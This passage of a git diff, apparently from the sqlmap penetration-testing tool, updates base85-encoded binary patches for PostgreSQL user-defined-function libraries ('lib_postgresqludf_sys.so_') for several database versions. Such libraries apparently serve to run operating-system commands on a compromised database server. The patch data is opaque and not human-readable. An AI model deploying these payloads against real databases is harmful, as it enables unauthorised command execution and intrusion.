z{gL~|>!%pUqq>LDPl?yG)s$3X{iUAM%cifV4j8Qh_n)BUo;TA$AN&YWwSTNiB*O|-nCAV zJqPH#j@%2gki4FEuDI`?5dMyT$F_SvAbJReusFt!G%#uQ75I=lX=!Vh?L3vm`hyw3 z*hEs>1v&BDVW2ldL^vB0Hl;4<3lLA?Qyi*b3qUqGqrW#JPz3^N4Z+ty+AH&~xe56< z1;g)GL@45stTeqGyY=aX?3k^?n$t%M zaf$Qj`7u3dq0qh1Dk!Wu13b603?{7MM0rD*ObX?krBfJ~8$!W4WjU@7gU~=?1D{RH<2(Ts@&QQg@(d(_R&yI?T*#g)<{#MCST0d zvsCh8*+Idjg&@3#qQOtt9ee>?^JnO_&TTk7kf`_XY%>=QLC}AZev=yHKnFQKK8X#X zeachnm$ahmaM{GOYW(GXtWFqQ#R+Ajx=uYvr=ynk<|@$5FFGz@j%$q>!Yk~!-*BM? zq+fFJt+9XCXX2vCw2r7g7)tw+vWt5prd2e;FeYV=;?LKR01h0`Q|%Qj&VDf)FmJ05 z3ELHFFa4Y0L+*gC-UhVhiFI^hag#U#~30AhlXoLXQAGQr@Y; z6$u}@SfxeS{Pu~GJWm=RX+9~RpFhXhu<1qASB4 zOpWI}>thZYSQi_DxYm+$P}49I)djMA(PZZHi}iEhP~5cwN@8%Sgz8z1ts?#a literal 2652 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 KJC|<2YvMbrH6`u< diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ index da6ffc73e6a9fc961b9bbdd48e0692849f238dae..7a99f92f5d505907a8129e7218ef7c1b2cd25a6c 100644 GIT binary patch literal 2652 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 KJC|<6d*U>IE+yjt diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ index 1d640b790b80f26def3074b8276b8e367fccd2ea..d204b81d2c87f8ccf56d2266337dda09173e8fd4 100644 GIT binary patch literal 2652 zcmV-i3ZwNk)BhfPIyt+3k2S?B!Ff?7Nls4n>3?2%84eQR6&FczY?+zhs784FSV7;;Ss9Xu%p1hqKt61K4kC_YnfwAmcPoTE86f%Zzj@;NF$P_5h*j#{AFzt3DoHr1$MP=mlJ0;3nO^DJs~60PD|`J{atSdCs;$>-mNy6$3w#Z!=zN;m z-%P4Yq+L-dQGQTENBC)?v5(Z$ksW^N?0Pj(e@l?ox%HoQ6?GvCKZ(aIC$~ zE&O=-Tfc#Xd3xa!qE9*q{WpB#tw14F~9kgog0G3EuU6UXGf#U6nUKD)Y;4@`ijiM%=dj3}Mcf0zM_ z5+JlxxNhD{dc@DLY_fT>DLG_VaO?Mh=06D>ph`pVU;I|!`A141AYjqhM-Kq@=dg}{ zyv^&TR$v^^{ucSPJpKU)YDXHktv<6Ggn`D|;9$v0jwTO@;9oO;67Lq;`P_7GVm`#R zy6{09|ItV=;$v#q?*cqxn1LN2Nj!E+l+4_4f)q-R`VfDTJy3vm_3H+~z2OwwC$nwv z7X^(GN9Wn6UokK`m0gcYq;>>IJI?X{4 zI8fERXu0W@tuBl**TB|6hd-?T@lypOITWzd$Cw-f5L`R~O@dV4nW{O6krHu;XIhGp z$*K5dnetpH4fnrC(kna&FPvN={(e`2pL!yWX^z8p{1>Y1dk0-I4Ddw&8aGu)-;x$= z-JJRzcITzCd0E2#$maG%Idv~xnvo?4P<YkO&dy1-lodb&~jO!q=o_ zKL&25m2!srqwq6w06 z=v|BKTm70k5i7G8z5=XWT`aWrEzq923Tj@hFF)Y@-{9{?aB*x_I$sH**m+QK@8sKa zTA^|teu~Q~)h)&B{3lmHL3;ev)^J5n*aQ1q;vBgk^n%>gCc{l_xANu<3q@VRL3&_L zd>7p@MXd-~;!!|^KnmDBal4Cc#liLcm&4ar2~*xU%c+0Y4X63fP+X1i$i0aGPm9r4PR;OLz&F`)i1k-bl$ne3 zb8^Pi%0&wbVySQMXZcgTqq>LDPl?yG)s$Ca{iUAM%cifV4j8Qh_$q;G{;qUADyl8+I3Z(8_kXG3 zMBB1Q4#PH|I-)2ZTZ*loeK(*19;xi`%GLYY&>n)BUo;TA$AN&YWwSTNX;O+p-nCAV zJqPH##8=(*+sBDg541#Mbf(lOUxO$=AYurGu(-yIG%)G)75I=lX=!Vh?L3vm`hyw3 z*hEs>1v&BDVW2ldL^vB1wz?ka3lLA?Qyi*b3qUqGqrW#JPz3^N4Z+ty+AH&~xe56< z1;gYACEZ13b5r3?{7MM0rD*ObX?krBfK38$!W46yF#d0Mauxg-ZpV;+yJ?b&G7++19Vk3Jp;H%KeNe5vI;MvdZ+~I2q1HX9K6^tqq^OTK| z4VqLRR?tM$uSs|t>WjU@7gU~=?^JnO_&TTq9kf`_XY%>=QLC}AZev=yHKnFQKK8X#X zeachqm$ahmaM{4KYW(GXtbQ0=#R+Ajx=uYvr=ynk=PJ<6FFGz@j%$q>!Yk~!-*BOI zq+fFJt+9XCXX2vCw2r7g7)tw+vWt5prd2e;FeYV=;?LKR01h0`Q|%Qj&VDf)AaAP= z3ELHFF8!O~L+*gCir_C@Z|8U=W+3C8{WMXDeXhr~KS&Jr z63RKUIN|_Y{kD@_9Xqwwy0YEKKF{`N%C6{)ox7p$Xtk`yCbJFHHMp3Ci|XX`L7TCt z_uJKj1u#d#R92v(_E6~ANx)7KW_^~z^4UUx$dV~uT^kaIzg)n(M+o6S$Apa;NVu1M zOknwk97}xcG_zfI%j?VApe$s--NB;X@Anj3DV;>%r~H(Fn$sv&SPry?Sm5u~cz2Yb zjBA&5okrqB(bU(U^@+S!g2a4cf_1$26>TXeY#2=50z2$@azRb}>!R5q#b#w8}}Z$cDxZP?KhPvWI?lRdvw~#kr#f K(3Nbe70v*=Bs>BD literal 2652 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 KJC|;}TjDmHFeS|Z diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ index f0d339c251e18d6f1a364cfc8aa32855143ba158..51e17d30fab46ac64e4cdacc683a355a9ca9e8c2 100644 GIT binary patch literal 2639 zcmV-V3b6Gx)3+ZQCV9JlkI_7DvuVdqOH!T@NGCrDGGb{29xlw9SIUQ8$l?4>dIj&W zhZF}6BzWdsOb>LS0e2LV`u5}bd_Rui_ty4$sf)>gAjNOEKzyZta5ro03!=QVQq9`- zWC0L3tVxl=iZCtOMEU-zKCP(C?a2`N9Jz=QQ`5ePpJZ$v#=b!O$UhEQ`flis2)*`IqB?A}vd{cf znmm=t%$4KK(T%FqJqMRWRJ=b!H9Y{w8Utt!w8h7#TMB?upWK+bW4gLj{4;)eEu`-A z&r`1tLytJ(F;PBos}EsxvHjw6Odi}wb6^#05%_nj<|nPf#I{h3kyuNfzlj4wzA_$8 zAE`NETqs$KNxqoI(R|RqR6f6~Dcs|_on2m0o)YD>JT;?fS53r8iVyz)Cb@GJsX6Yo>5oIo_)@5myFnvnT@lUU4ej$BNQ1uLOBn$EAhR=JIHD?j^v*o_523V z+47@tlI(3ur9xuU>*N)75BOwtOr?^5^F-;)$WsP~liZ-#nGyJ<3L6Be=KUG|^&aWk?8Vlo)P-4Xn3ssKx3{o-noG8}f#U;1Lx-IB zk!+8i&t74Ovhwd)bIe>x$d98J)OY1G;Qfc&WZ6X5rSYGQ#P2B>w2I0;6nn1Z0Jkfg z{{!DHzQ_+qFqz`N5U=E97^PV`1rL_d%#2Hc<_Xzge3ZS#Pxo@jWnFai6T|Wos5Gx= z2n{$ZTMoc3a$)66*%p&){*xg=viy9^occBXZdMq2{)Gp0Pad=E*woen-U-cJAcPwU zzYcNa-k$epvUsZ)qYOo|6eNIgFw=hTnP`p@>A2BX>3LwoM?F`zrC9e-&Um^9l3n<}dts$_ufJ2h~=fdysjh2fTI z>IyKv>F}o<^k0A+K|>{pMraQuoAvINs6@{TofD*oFytZcnDS)y!Ul!8oFvK;j3@Bl 